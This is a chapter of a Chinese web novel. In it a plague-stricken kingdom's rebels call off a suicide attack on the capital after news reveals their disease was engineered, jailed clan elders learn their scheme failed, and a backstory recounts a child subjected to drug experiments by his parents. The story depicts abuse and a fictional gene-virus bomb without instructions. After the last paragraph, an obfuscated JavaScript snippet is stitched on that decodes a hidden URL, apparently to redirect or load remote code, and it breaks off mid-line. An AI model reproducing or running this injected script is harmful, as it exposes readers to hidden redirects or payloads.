普尼亚王国,正值黎明前最黑暗的时间段。
首都白沙城外,荒凉的一望无际的沙漠上,数万人正聚集在一起,上至壮年下至耄耋老人,男女皆有,他们裹着头巾防止被太阳灼伤,衣衫褴褛,掩藏在布料阴影下的皮肤溃烂,有些脸上的溃烂上竟然已经生了蛆,白白的生物在上面蠕动着,却无人在意。
他们手上抱着枪,眼神麻木,一片死寂,本能发出的不堪忍受疼痛的哭泣也此起彼伏。
“穆萨妮,到底什么时候行动?再等下去,我们会赶不上约定的时间的,不会有下一次机会了!”有个人焦急地问身边的女人。
那女人裹着一条黑色的头巾,正在擦拭一把刀,阴影下的巧克力色的面孔线条柔和,却有一双深邃坚毅如钻石般的眼眸,脸颊上有一块和其他人一样的溃烂。
她擦拭刀的动作缓了缓,可以看出她内心的犹豫。
“首领,行动吧!”
“趁着大家还有点力气!”
另外几人也说。
这是一支朽戈钝甲且都是老弱残兵的政变军。而白沙城内,守卫王室的是有着精良装备的精兵强将,还有返祖人坐镇。
他们都知道,与其说这是一场政变,不如说是自杀式袭击。
城内有人愿意帮他们开门,使他们能够带一些人一起下地狱。
原本一切已经计划好了,可是领军者穆萨妮却不知为何开始迟疑了。
“穆萨妮,你到底在等什么?”
在等什么呢?这是唯一的机会,他们憎恨王室,那个在传染病开始后抛弃了他们,自己关上城门,拿着他们交的税金继续歌舞升平的混蛋们。
这个国家因为国民勤劳能干,石油、天然气等自然资源丰富,虽然国土面积小,却是世界上最繁华的令人向往的旅游国家之一。但那已经是十五年前的事了。
十五年前,不知名的基因传染病在这个国家内传开,感染者身上的皮肤会出现无法愈合的溃烂,溃烂是先从全身的皮肤开始的,等全身溃烂后,内脏也会开始溃烂,那个时候就要死了。
但往往无需等到这种时候,有些感染者就已经因为无法忍受身上四处蠕动着蝇蛆而崩溃自杀。
为了避免被祸及,各国封锁了海陆空航线,紧闭起国门,拒绝他们的造访。这个国家被孤立起来。
好在一年后,某制药公司成功研究出了药物,将他们从绝望中拉了出来。虽然药物不便宜,但是能活下去的话也无所谓了。
只是谁也没想到,两年后,这种基因传染病在这个国家内再次爆发,他们被告知这个病毒无法被杀死,只能被抑制,处于休眠状态,如果不天天吃药,就会苏醒再次折磨他们。
一开始人们感觉还好,但是随着时间的推移,药物掏空了他们的钱包,日复一日的工作、省吃俭用,只是为了买药活下去,连精神世界也开始枯萎了。
在越来越多普通老百姓买不起药,企业富豪们捐了又捐,他国的人道主义援助一波又一波,仍然不够的时候,他们将期待的目光看向了他们的政府——王室。
王室做出了选择。他们这些年仍然收取着各项税金,却不愿意承担这种无底洞的付出,那会大大影响他们奢侈的生活。他们关闭了城门,扯出一个又一个滑天下之大稽的谎,实则已经抛弃了国民,在城内享受着一如既往的奢侈生活,将国民扔给企业家和外国来管。
有消息传出,王室似乎在四处找关系想要离开这片国土,只是因为体内潜伏的病毒的缘故,还未有其他国家愿意打开国门接纳他们。
“那些是我们交上去的税金,我们的救命钱,却被他们拿去享乐。”
“听说他们囤了一仓库的药,宁愿放着过期也不愿意分给我们……”
当父母看着孩子死去,孩子看着父母离世,愤怒和仇恨的火焰在他们心中燃起,于是政变军就出现了。
他们不奢望自己这种乌合之众能够打赢军队,真的杀死被重重保护的王室,但是如果能够借此让王室感到畏惧,至少把药分给孩子们,或者引起国际社会的关注,得到大国的帮助,就是死得其所。
在场的每一个人都已经放弃了自己的生命,或是为了复仇,或是为了身后那些还尚年幼的孩子们。
听着四周同伴的催促和质问,穆萨妮说:“再等等。”
“到底在等什么?!”
“等一个消息。”
“什么消息?”
穆萨妮没有说,因为她知道说出来只会造成反效果,现在他们什么都不会听了,只想彻底燃烧自己的生命,报复那可恨的王室。更何况那确实不是一个能够令人信服的理由。
就在前一晚,他们整装出发前,穆萨妮接到了一个境外电话。
这是非常罕见的,自从各国的国墙对他们封闭后,连境外的诈骗电话都不会打进来,就好像连诈骗犯都知道这个国家的人已经穷困到不值得他们浪费口水。
他们就像一座孤岛,被无尽的绝望和孤独之海包围。
“你好,穆萨妮,我是解谜情报屋屋主,我这里有一个情报想要卖给你。”
那个情报贩子给了她一个让她难以置信的情报,用即便是她也能支付得起的低廉的情报费。
“你说的是真的吗?!”
“在黎明前,你可以从国际新闻上得到证实。”
而他们自杀式袭击的行动,就在黎明前,王宫里的狂欢结束后。
……
以前就险些和凌家合作成功的中下层返祖家族们,选择了结盟,共同把握住这个千载难逢的能够提升自己家族地位的机会,像饿狼般伺机而动,企图对梅烟岚下手。
但是他们在今晚也突然跟丢了梅烟岚,后面金字塔上层的返祖大家族们出手,他们才后知后觉发生了什么事。
“梅烟岚死了?!”
“没死,被送去医院了。”
他们松了一口气,还好还好,这千载难逢的机会还在。
“不过……”那边的人发出有些迟疑的声音。
“不过什么?”
“梅烟岚似乎和所有返祖人一样,只能跟普通人孕育出健康后代。”
“什么?!你确定吗?”
“是那个组织对梅烟岚的返祖基因程序做出的测试结果,准确率高达99%,似乎就是因为发现这个,所以才要置她于死地的。返祖大家族那些人看起来都松了一口气。”
电话在一声声咬牙切齿的“凌家人”中挂断。
凌家人因为制造克隆人被逮捕后,一直被关在拘留牢房内,对于普通人来说这是重罪,对于返祖人来说虽然也是犯罪,但是最终被判坐牢的时长基本上在一年以上三年以下。
只是凌家人做梦都没想到,居然要因为这种罪名坐牢。
“恐怕要便宜那些人了。”在放风的时候,凌家人聚在一起咬牙切齿地说道。
他们都知道说的是谁,就是那些和凌家人有合作的中下层返祖家族们,他们都指望着能和梅烟岚结合,生下混血呢,凌家这些话事人被关了,他们肯定会自己行动的。
“不会,红小姐那边肯定会行动的。”凌家主说,他身上还缠着一些绷带,气色很差,神色阴翳浑浊,仿佛又老了十岁。
被关的这段时间,他越想越觉得他们是被算计了,被梅烟岚和景姵一起算计的,“那不孝女,家族有难居然不愿意帮忙,净便宜别人,跟她爸一个德性,不知道责任怎么写!”
“她估计以为把我们关起来她就安全了。哼,天真,等到时候她就知道后悔,要是乖乖听话,我们好歹是她的娘家人,组织多少也会看在我们的面子上,在她没价值后留她一命。现在可不好说了。”凌大少也面目狰狞地说。
受了父亲的影响,他这辈子也渴望在返祖人世界里受人尊重追捧,就指望着这个侄女了。
“好在红小姐应该会给我们一点面子,留着她的小命等我们出去用的。”凌家主说,紧绷的面庞有些放松下来,关个一两年,他这把老骨头还能等,他还是能看到曾经瞧不起他的返祖家族懊悔不迭,乞求合作的那一天的。
在拘留所内没事干,他们一天到晚都沉溺在这种幻想之中,做梦都在笑。
而这一晚,他们正准备睡觉继续做梦的时候,狱警走过来喊凌家主,说有人要见他。
凌家主来到会客室,见到了几个十几年前险些合作成功的,这一次也预定了要合作返祖家族家主。
他顿时昂首挺胸,眉宇流露自得之色,觉得他们的家族要仰仗他的鼻息才能更上一层楼,低他一等,得捧着他。而他们以前也是很给面子的。
“砰!”几张纸砸在了凌家主的脸上。
那人却是指着他的鼻子,劈头盖脸地怒骂:“凌峰你个老不死的,竟敢让我们跟着你们白忙活那么久!见过蠢的,没见过你们这么蠢的,别想着当人上人了,赶紧入土别再丢人现眼了!”
另一个同样怒骂:“心比天高,命比纸薄,你们凌家的基因烂透了,我们也是眼睛被糊住了没看清,居然就信了你们的话!”
凌家主没得到尊重,还被劈头盖脸一通骂,气得浑身发抖,“你们竟敢……竟敢……”
“我们有什么不敢的?我告诉你,你们最好这辈子都在里面呆着,否则出来后,我们要你好看!别以为我们会善罢甘休!”
“你还以为你家能靠梅烟岚崛起?看看自己有没有那个命吧,蠢成这样,老天爷饭都给你们怼嘴里了,你们都要吐出来,这辈子被踩在脚下的命罢了。”
“走吧,多看一眼我都嫌恶心!”
“妈的,要不是这里是裁决司,我要打得他们满地找牙。”
他们骂骂咧咧着走了,看得出真的非常愤怒,拳头都攥得死紧死紧的。毕竟这一次也给他们带来了麻烦,虽然论迹不论心,但是他们的名字肯定在裁决司和金字塔顶端的家族的小本本上记一笔了,保不齐什么时候就会被绊一跤,摔得他们头破血流。
凌家主还不知道发生了什么,只是因为被如此不尊重的对待而无能狂怒着,喘着气,像破风箱似的,好一会儿才记得捡起地上那些纸看。
【梅烟岚基因与其他返祖种族基因结合测试结果……失败……失败……失败……失败……
结论:梅烟岚和所有返祖人一样,只能与普通人孕育后代。
推测:纯正的海马族基因有净化和包容其他返祖基因的能力,梅烟岚的母亲是导致健康且强大的混血诞生的原因。目前还未找到梅烟岚母亲以外的海马族返祖人。】
凌家主就像脑袋被猛击一拳,看着这些纸,整个人头晕目眩,眼冒金星。
他终于明白自己干了一件多么蠢的事,也终于明白,他的梦想这辈子都不可能实现了。而这个机会曾经就摆在他的眼前,却被他自己的愚蠢毁掉了。
“没见过这么蠢的。”
“是啊,要是好好对凌松和儿媳妇,让他们多生几个,这会儿凌家地位早就上来了。”
“太蠢了,笑死人了……”
“……”
不知道是不是幻听,他听到四面八方都是嘲笑他的声音,他仅存的一点尊严全都被击碎,原来这三十几年他都在干一件愚不可及的事,他亲手毁了自己原本触手可及的梦想成真的机会。
并且,他将因此而被彻底刻在返祖家族的耻辱柱上,永永远远遭人嘲笑,每个时代都会有人提及他有多愚蠢可笑。
“噗……”一口心头血骤然喷了出来。凌家主跪倒了下去。
这时,裁决司的几名警官的影子压了下来,他艰难抬头,看到一张张冷酷的面孔。
“凌家主,关于非法返祖基因研究组织,你有什么要说的吗?”
裁决司从返祖基因控制组织大本营里,找到了凌家与他们勾结的证据。
这可就不是制造克隆人这样简单的惩罚了。
……
因为裁决司的人赶到及时,红小姐留下的负责销毁罪证的人没能将证据完全销毁。
随着这些罪证被一一摆上台面,裁决司发现,这个组织和之前被他们重创,如今所有成员都暂时龟缩起来的返祖药剂组织是姊妹组织。两个组织都是企图利用返祖基因达成某些目的,只是走的路线不同。
如果说返祖药剂组织的目的让返祖家族愤怒,本质上是自认为高人一等的血脉被向往的骄傲的体现,那么返祖基因控制组织的最终目的,则是让返祖家族们备受打击,而且感到了一种莫名的恐惧。以至于他们在得知后,因为梅烟岚那令人满意的答案而放松愉快的情绪一下子沉了下去。
跟那个目的比起来,返祖基因控制组织为了敛财,与世界各大制药公司合作,向一些富饶小国投放基/因病毒/炸/弹,导致上千万人国破家亡的事,似乎都不值一提了。
当然,这只是对于返祖家族来说。
裘法吩咐助理:“联络媒体,把这些消息放出去。”
助理点点头:“也许马上就能挽救一些人命,毕竟这是人祸,不是天灾,而且我们找到了基因病毒的制造程序,要制作出程序来逆转就不难了。”
“去吧。”
助理转身出去联络新闻媒体,将这个消息传播出去。
这个办公室只剩下了裘法一人,裘法继续四处查看,拉开一个个抽屉,直到他拉开一个抽屉,一条绿色的缎带倏然撞进眼中。
瞳孔紧缩。
好一会儿,裘法伸手将其拿起,安静的空间里,他听到自己心跳撞击胸腔的声音。
“这是什么?”少女清亮好奇的声音在他身后响起。
景姵的脑袋从后面冒了出来。
“你怎么还在这里?那些返祖家族没有拉着你开会吗?”裘法把抽屉推回去,问。这个组织的目的给他们带来的紧张和压力,可比梅烟岚带来的大得多了。
“这么晚了,谁要跟他们开会啊。”
裘法看了她那张毫不在意的脸一眼,“这么晚了,为了救梅烟岚你忙活得够多了,回去睡觉。”
“咦,司长在责怪我吗?”景姵趴在桌上看他的脸说:“是关心吧?担心我受伤吗?”
“哼,你想多了。”裘法转开脑袋,去另一张桌子继续搜,不理她。
“其实我也不想继续跟那个情报贩子有联系的啦,但是事急从权嘛。梅老师不对劲,我不能当做没看到。你看,我的选择是正确的,而且收获颇丰啊,要不是我跟情报贩子买了萧骋的所在地址,都不会知道居然还有这个组织存在。”
有点聒噪。
裘法这里搜那里搜,景姵在边上各种哔哔。
“没有先通知裁决司,是因为裁决司本来人手就不够,返祖家族的事,让他们出手解决是应该的……”
在外面走廊上忙忙碌碌来来去去的裁决司工作人员看到听到里面的动静,默默为景姵竖起大拇指。不愧是龙族,好勇哦。
这时景姵肚子叫唤了两声,她抬起头,“饿了,司长,请我吃宵夜嘛,作为我立大功的奖励。”
“……”
“大猫咪,请我吃蓝鳍金枪鱼,我要奖励。”
“……住嘴,安静一点。”
“金枪鱼,金枪鱼,金枪鱼。”
外面的工作人员放慢脚步,已经开始为景姵紧张起来了,得寸进尺了哈!他们好像已经感觉到了司长的暴躁了,看!那握着执法棍的手,是不是紧了紧!
裘法额头青筋跳了跳,就在有人准备冒着被司长揍的危险冲进来阻止他打龙家少主的时候,听到司长说:“哪家店这么晚还开着,吃这个,没得挑。”
景姵伸手接住裘法抛来的东西,一看,是个小小的金枪鱼罐头,是裘法原本给自己准备的今晚的宵夜。
是不是有点袖珍呢?够塞牙缝吗?哈哈。她有趣地笑起来。
……
被称之为“枯萎的太阳花”的普尼亚王国,繁华美丽的夜景在数年前就已经消失,璀璨的世界地图上黑了那么一小块,萧条的经济使得市政连路灯都不愿意点亮一盏。仅剩的一点证明这个国家还未彻底湮没的明亮星光,来自王城。
那是一座只有王室和贵族才有资格入住的奢华城市,是一片平民难以踏足的土地。
这座城市的城门紧闭,哪怕外面腐烂的尸体堆满大街,里面也仍然不损丝毫的靡费。人们夜夜笙歌,因为无法出国而只能在城内进行浪荡的狂欢来消磨时光。
这一夜人们同样在狂欢后筋疲力竭地陷入沉睡。
护城军队轻快地穿梭过街道,埋伏进阴影之中,紧盯着那扇紧闭的城门。
“等他们进来,杀无赦。”护城军的将领,听到耳机里那肥头大耳的国王的冷酷阴沉的声音,“我要让全国上下都知道大不敬的下场!”
“全都杀光吗?”将领声音有些沙哑。
“反正留着也是浪费粮食,抓了也是浪费兵力,都杀掉,这样才能震慑住其他人。”他随意得好像只是杀死过街的老鼠。
握着枪的手紧了紧,将领闭了闭眼睛,要怪只能怪他们找了一个不值得信任的人。殊不知那人转头就去跟国王告密了,为了得到奖赏——足够让他吃两年的药。仅仅为了多苟活两年……
可是,他又有什么理由鄙视他呢?毕竟他和城内的所有士兵,哪个到现在不是为了自己和家人们的药而效忠国王?
他闭上眼睛。反正大家都会死,都是在苟活罢了,不听话的话,国王雇佣的返祖人护卫是不会放过他们的。
与此同时,另一边。
“穆萨妮,你到底在等什么?!”副手焦急到近乎崩溃地看着她,“再不出发就来不及了,明天他们醒来,看到我们这么多人在这里,就会知道我们想干什么,没有第二次机会了!”
队伍已经都骚动了起来,全都紧盯着首领这边。
穆萨妮手机上的白光打在她的面孔上,她的手指僵在屏幕上,“再等等,时间快到了。”
副手看了她的手机页面一眼,是国际最大的社交平台的热搜排行榜,上面有国际大明星的绯闻、华兰不可思议的得到提前三天预警的大地震、某国的天使返祖家族和恶魔返祖家族要在某个泡里约战,双方信徒也在私底下械斗……总之全都是与他们无关的,甚至看到就让人嫉妒和愤恨的新闻。
到底在等什么?
可是出于对穆萨妮的信任和尊敬,他们尽管再着急,也没有擅自行动,只是心脏不由自主地往下沉,眼中绝望的情绪越来越多。
穆萨妮何尝不是如此,那个神秘的情报贩子的话真的可信吗?他会不会只是在戏耍我们,就像顽童故意给溺水的蚂蚁抛一根浮木,然后再掀翻一样。
时钟在滴滴答答地走,沙漠的天空越来越黑,越来越黑,仿佛就要有日光将它撕裂。
在心脏狂乱的跳动中,热搜榜上依然什么关于他们的消息也没有,穆萨妮的手紧了紧,站起身,收起手机,“走!”
人们一愣,立即纷纷站起身,在余烬中再次奋力燃烧起最后的生命之火。
队伍朝着王城赶去。
城门在约定的时间顺利打开,露出里面灯光璀璨的贵族之城。
它还维持着15年前那样奢华的模样,制造精美的水晶路灯点亮每个角落,打造得像童话乐园,家家户户屋顶洁白如新,院子前的泳池水波粼粼,泳池边上各种被浪费的香槟和美食,就等着天亮后被仆人扫进垃圾桶里。
在全国夜晚都只能依靠柴火照亮的时候,这棵宛若用每一个国民的血肉当养料而开得璀璨的太阳花,刺痛了所有人的眼睛。
每个人眼中都迸发出强烈的仇恨,所有的枪支“咔哒咔哒”地上膛。
城内的埋伏者们则更早一步举起了更崭新威力更强的枪/支,对准了城门。
“叮咚。”
就在穆萨妮要抬脚踏进城门的瞬间,她的手机发出了一道轻轻的声响。
她一愣,想起来那是她仍然心存一丝无力的期望而设下的平台功能,只要有新的话题登上榜单,就会通知她。
“等一下!”她拦住已经快被仇恨冲昏大脑的同志们,心跳如雷地拿出手机。
热搜榜上,数条国际新闻已经高挂榜首。
华兰国宣称国际犯罪组织向他国投掷基因病毒炸/弹
那一瞬间,穆萨妮感觉冷热交加,眼圈发烫,那个情报贩子没有骗她!是真的!他们的灾难不是天灾,而是人祸!
又有数条话题上来了。
华兰裁决司声称已经找到基因病/毒制造程序
日美制药集团
专家声称要逆转不难
普尼亚奇隆多或将迎来复生之日
“首领?”
“撤退。”穆萨妮深吸一口气说。
“什么?”
“快,撤退,马上撤退!”穆萨妮掷地有声地命令:“相信我!”
尽管再无法理解,再不满,下属们仍然咬牙听从命令,很快从城内蔓延出去的灯光中消失,融于黑暗之中。
城内等待着他们进来的枪口没有一颗子弹能够发射出来,所有人都很困惑。
“他们好像跑了?我们要不要追?”
将领立刻说:“住嘴,国王陛下的命令最优先,等他们进来。”
虽然不知道是怎么回事,或许是他们发现这里埋伏着收割他们生命的死神了,不管怎么样,跑吧,快跑,跑得越远越好!
因为将领的故意拖延,等国王气急败坏下令让他们追的时候,反叛军早已经消失在苍茫的沙漠和无边的黑暗之中。
而等日光破晓,这个国家麻木的人们,也越来越多人看到了网上的消息。
死寂的水面沸腾了起来。
……
景姵来看梅烟岚的时候,她已经醒来了,高纯度返祖人过硬的身体素质和超强的自愈能力,完全看不出她之前的身体被炸成什么破破烂烂的样子了。
“不愧是梅警官,恢复得真快。”景姵把带来的果篮和花放在床头桌上。
“多亏了你带来的那个汤医生。”梅烟岚盯着景姵的面孔说,注意到景姵盯着她身前的日记本,问:“你在看什么?”
“这本子看来一点都没有淋湿啊。”
“什么?”
“昨晚萧先生过来找这个日记本的时候,雨还很大,我还以为他会让它淋湿呢,没想到保护得那么好。”从本子的边角来看,确实一点儿被打湿的痕迹也没有。
昨晚裁决司的人赶到,梅烟岚被送去医院后不久,萧骋又回来了泡里四处找寻,景姵问他才知晓他居然是回来找那个导致梅烟岚重伤的东西的。
“对她一定很重要,不知道你们有没有捡到,我怕她醒来会着急。”萧骋这样说。因为被雨水淋湿,像条可怜巴巴的落水狗似的。
景姵意识到他在找什么,有些诧异,随后嘴角微微扬起,有那么几分邪恶。
“我本来想等明天去医院看她给她送过去,既然你专门过来找了,那你就拿去吧,等我一下。”景姵说着进研究所把日记本拿出来,递给萧骋。
“这个……”萧骋一愣,原来牛皮纸里装着是个本子,看起来平平无奇的,到底是什么东西,居然如此重要,让她都一瞬间疏忽大意,险些丧命。
“是她初恋情人的日记本呢。”
萧骋拿着日记本的手一僵。
景姵看他的眼神有些好奇,有些兴味,像是等着看他的反应。
就算你与她将会有三个孩子,产生紧密难以分割的联系,但是她爱的人始终是闻灿啊。能让她失态的,舍生忘死的,只有他。
活人是赢不了死人的,尤其是闻灿这样的死人。他应该明白了这个道理吧。
“谢谢。”好一会儿,萧骋轻声说,声音有些沙哑,“我先告辞了。”
照那时外面的狂风暴雨,哪怕日记本湿到一大部分的字迹都模糊掉也是正常的。但是这本子竟然丝毫无损地回到了梅烟岚的手上。
听完景姵的话,梅烟岚愣了一下,想到她醒来的时候萧骋异常的沉默,她感觉到一直以来他一直存在的,或许是觉得她的白月光已经死掉无法竞争,或者他们之间有孩子,所以他与别人肯定是不一样的那种自信,似乎消失无踪了。
她以为是因为在泡里,她毫不留情的追杀导致的,没想到竟然是因为这个?
“也好。”梅烟岚说。
景姵见梅烟岚没什么问题,呆了一会儿,打了个大大的哈欠,起身要离开了,“我一晚上没睡了,回去补觉了。”
“龙锦。”梅烟岚在景姵快出门的时候,忽然出声。在景姵转头看她的时候,说:“我问过专业人士,因为返祖人之间结合产生的混血儿会夭折已经被认为是铁律,所以返祖基因结合测试机器早就不再更新换代,市面上能找到的已经是十几年前的产物,结果的准确率也只有80%。也就是说,那个组织里那一台是全世界最先进也是准确率最高的机器。”
景姵诧异地看着她,说:“这样啊!这岂不是因祸得福了吗?”
梅烟岚看了她几秒,笑了:“是啊,真是因祸得福,要不是萧骋被抓了,被那个组织抽了返祖细胞去测试,我们在外面自己做测试的话,只有80%的准确率,又是自己做的,难免有些人会疑神疑鬼,我和那些孩子的未来仍然存在各种潜在威胁。”
可是这个组织的人做的就是另一回事了,不止是仪器和技术的先进,更是这个组织背后的人里,可能就有某些对她的基因觊觎不已的大人物,大人物自然是信自己人的判断,而他们信了,便不会再浪费时间和人力出手,这对于一些小人物来说,也是一个信号,一个信息准确的保证。
于是她和孩子们就彻底安全了。
太巧了。
从那天她准备杀了凌家人报仇,景姵却引着怪物军团过来破坏了她的计划开始,她就对这个女孩产生了怀疑,真的只是巧合吗?但是无论她怎么思考,也不能明白她的目的是什么。
那时起,她就时常幻觉有一只隐藏在黑暗中的手,轻巧地拨动命运之弦,设计操纵着他人的命运。
但一切都太过自然,每一个她觉得不自然之处,都有着逻辑自洽的自然。
直到现在,真相仍然裹在她无法理解的迷雾里,但她至少确定了一些事。
——我是受益的那个人。那只幕后黑手拨动命运之弦,将我推离了已知的厄运,进入另一种充满可能的新生里。
少女猫一样清澈狡黠又神秘的眼眸与女人妩媚的桃花眼对望,仿佛刹那间有无数的信息交换,无声中进行了不为人知的对话。
最终少女懒洋洋地打了个哈欠,摆摆手说:“梅警官好好养伤,我走了。”
景姵离开了,不久后裁决司的其他同事也来看梅烟岚,温雨弦离开的时候听到梅烟岚说:“我现在倒是明白你对她的感觉了。”
温雨弦诧异地看着梅烟岚,随即温和地说:“还不赖吧。”
“哼。”
……
果然被骗了。
在给梅烟岚做完手术后,汤沃雪站在医院门口抽烟,富有个性的帅气面孔蒙着一层阴霾,阳光与阴沉的矛盾感更加强烈,十分引人注目,叫返祖医院里的小护士们看了又看。
给那个情报贩子发邮件也没有回。像个无良商家,坑了客户一笔后就跑路了。
说什么今晚是他的机会,什么机会?那个女孩毫发无损,他调制的药物根本没有机会进入她的体内,他受他推荐请的雇佣兵也因此派不上用场,他们拒绝在华兰国境内跟一个龙族正面刚。
天破晓后,手机就响了起来,响了好一会儿,他才接起来。
“……抱歉,失败了。”
“那我怎么办?咳咳,阿雪,我不想带着遗憾离开,把你的心给我,给我吧,我爱你……”
汤沃雪沉默半晌,将烟头碾灭在地面,说:“好,我把我的心给你。”
通话结束,不一会儿就有可爱的小护士来给他送早餐,是一碗蔬菜粥和肉包子。汤沃雪蹲在阶梯上吃起来,仪表堂堂但十分狂野不羁,又莫名像只无家可归的熊。
小护士这么跟同事说后,同事说她想多了,“汤医生明显是个有钱人吧,手术结束后院长邀请他在我们医院上班,完全不为所动的样子,那工资多高啊!”
那倒是哦,长得帅又有钱还有才华,妥妥的人生赢家,她果然是脑补太多了吧。小护士不再多想。
那边垃圾桶上,一只流浪猫正在翻找垃圾,不知道是不是注意到汤沃雪的注视,转头看来,然后一点点朝他凑近。
等距离近了,汤沃雪就舀了几勺粥吹凉倒在盖子上,推给它。
猫咪探究地嗅了嗅,就大口大口吃起来。
“我们都是无家可归的可怜虫。”汤沃雪看了一会儿,说。
他起身,走进医院,去院长给他安排的临时休息室睡觉。
另一边,另一个州内的私人医院里。
颜槿华看着结束通话的手机,嘴角愉快的扬了起来,眼中闪烁着兴奋的光芒。
“汤医生有好消息了吗?”她的专属护士进来看到她的表情,笑问道。
“算是个好消息吧。”颜槿华笑着说。
她就知道是这样的结果,在汤沃雪跟她说他得到一个情报,而这个情报他也从古籍上证明了有大概率的可信性——龙角能治愈她的病的时候。
开什么玩笑,一个普通人,妄图伤害返祖人就算了,居然还妄图偷偷割掉一只龙的角。
简直痴心妄想。
所以她从来不期待汤沃雪的成功,她也不需要汤沃雪对景姵的算计成功,她老早就为自己准备好了救命药。
在宇宙大融合时期,各种神奇的非人生物出现在了这个宇宙里,有些人类和这些怪物结合,诞生下了人类与怪物的混血,并且一直将怪物的基因遗传了下来。这些基因有时候潜伏在人体内处于休眠状态,一辈子也不会觉醒,这个时候人类就是普通的人类。
但是有一天这种基因觉醒了,人体就发生了质的飞跃,五感更灵敏,运动更快、体质更强、寿命更长,有可能飞天遁地,可以在人与怪物的形态之间转换,这种人类就被称之为“返祖人”,是怪物那一边的祖先的基因觉醒导致的返祖现象。
但并不是每一个在大融合期与怪物结合产生的混血后代,都能得到能长期延续下去并且对人体有利的返祖基因。
颜槿华的家族就是这类不受眷顾的混血,医学上称他们为“假性返祖”,也被称之为“不完全变态返祖”。颜家人非但没有得到能使他们跻身返祖世界的返祖基因,还得到了人类祖先与怪物结合导致的变异心脏。
这心脏从形状到功能,完全与正常人类不同,极其容易发生病变,产生一种疯狂的畸变细胞,比曾经的癌细胞更加疯狂,一旦病发就会严重影响到其他内脏的功能。
这样不匹配但天生的零件,导致大部分颜家人都缠绵病榻,十分短命,病发后苟延残喘着活得最长的那个也只有39岁。
更可恨的是,在如今有着克隆器官,任何需要更换器官的疾病都可以得到治疗的时代,他们这没用的怪物心脏没有返祖人的好就算了,竟还学人家的公主病——无法被克隆。
无法使用自己≈进行心脏克隆,就无法制造出一个不产生排异反应的健康心脏来更换,唯一的办法就是等待同样但健康的假性返祖人的心脏来,这概率比一个人一生里买中一个亿元彩/票还要低。
从小颜槿华就对自己的命运十分不甘,她不敢侥幸自己会是颜家极少数的一辈子都不会病发的那一个,在家族人都麻木认命,纵情享乐,想要愉快地度过短暂一生的时候,她拼命寻找救自己的方法。
她相信命运在眷顾她,因为有一天,别墅区里搬进来了一家人。
那是一对夫妻,是医学家,有一个儿子。
那孩子年仅7岁,长得好看,但性格阴郁沉默,独来独往,身上总是有奇怪的淤青,只有在晚上会传出男孩的低低的哭声。这声音很小,似乎在压抑和隐忍,要不是在他们家的窗口贴着仔细听,根本听不到。
“这对夫妻经常带着儿子搬家,我们去问过他们以前的邻居,他们怀疑这对夫妻在性/侵孩子,但因为还没有决定要报警,他们就搬走了,所以也就无疾而终了。”负责调查的管家来跟她说。
然后,经过一番调查,他们发现,这对夫妻并没有在性/侵孩子,但所行之事带来的伤害也与那没有多少区别了。
那对夫妻为了在事业上得到成就和突破,将自己研制的药物直接使用在孩子身上做实验,因为他们发现他的心脏出现了返祖现象,是医学上说的“假性返祖”,而且是万中无一的幸运的那一个。
他的心脏虽然与众不同,却不像其他假性返祖患者一样被拖累,反而不仅健康强壮,还能分泌出各种不可思议的荷尔蒙来照护其他器官。
这份幸运导致了不幸。
针管在夜晚一次又一次扎进他的皮肤里,刺破他的血管,抽走血液,或者注入药物,因此留下了一片片淤色,细密的针孔就藏在那颜色深重的瘀紫里。
各种药物发生的作用产生的疼痛使得小男孩发出无法忍耐的哭泣、求饶。疯狂的呕吐,从未消化的食物到胆汁,甚至是鲜血,有时候还带着内脏碎块,不知道有多少次几乎濒死,但都被疯狂的大人无视掉了。
真想要啊,他的心脏,如此健康、强壮,不是返祖人,却跟返祖人几乎相近的身体素质!
如果在他绝望的时候向他伸出手,他会不会感激得愿意为她付出一切来报答她,即便是在她需要的时候把他的心脏给她也愿意?哪怕是他的心脏给她,他却没有别的可以换进去,只有死路一条的时候。
“但是还不够啊。”13岁的颜槿华自言自语:“他还不够惨,还会向父母求饶,还会在出门后乖乖回家,是对父母还抱有期待和感情。得在他意识到他们只是怪物,不是他的家人的时候,才是拯救的最佳时机。最绝望,求生意志最强的时候,希望降临才会更加震撼人心吧。”
于是,颜槿华派人找到了这对夫妻,给他们投资了急缺的研究经费,要求他们在两年内就要给出成果,并且时不时给他们送点他们自己搞不到的高级别危险药品。
这样一来,这对夫妻不得不把儿子关起来,不再让他去上学,更加密集的实验落在他的身上。
这对夫妻越来越疯狂,越来越病态,颜槿华隐藏在幕后,看着汤沃雪在这两年里受尽非人的折磨,他长大了一些,却骨瘦如柴,关在笼子里像条流浪狗一样肮脏,目光麻木,看着父母不再有任何光亮。
直到那一晚,父亲竟然想要剖开他,看看心脏有没有可能分泌出自愈荷尔蒙,让他能够起死回生。他意识到自己的生命就要到此为止,生物求生的本能在最后激发了出来,眼泪从他的眼中滚落。
“砰!”
不可思议的,泪眼朦胧中,他看到魔鬼一样的父亲倒落在地,一个纤瘦的少女举着棒球棍,看起来惊恐又勇敢,像个英雄一样出现在他的眼中。
(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax 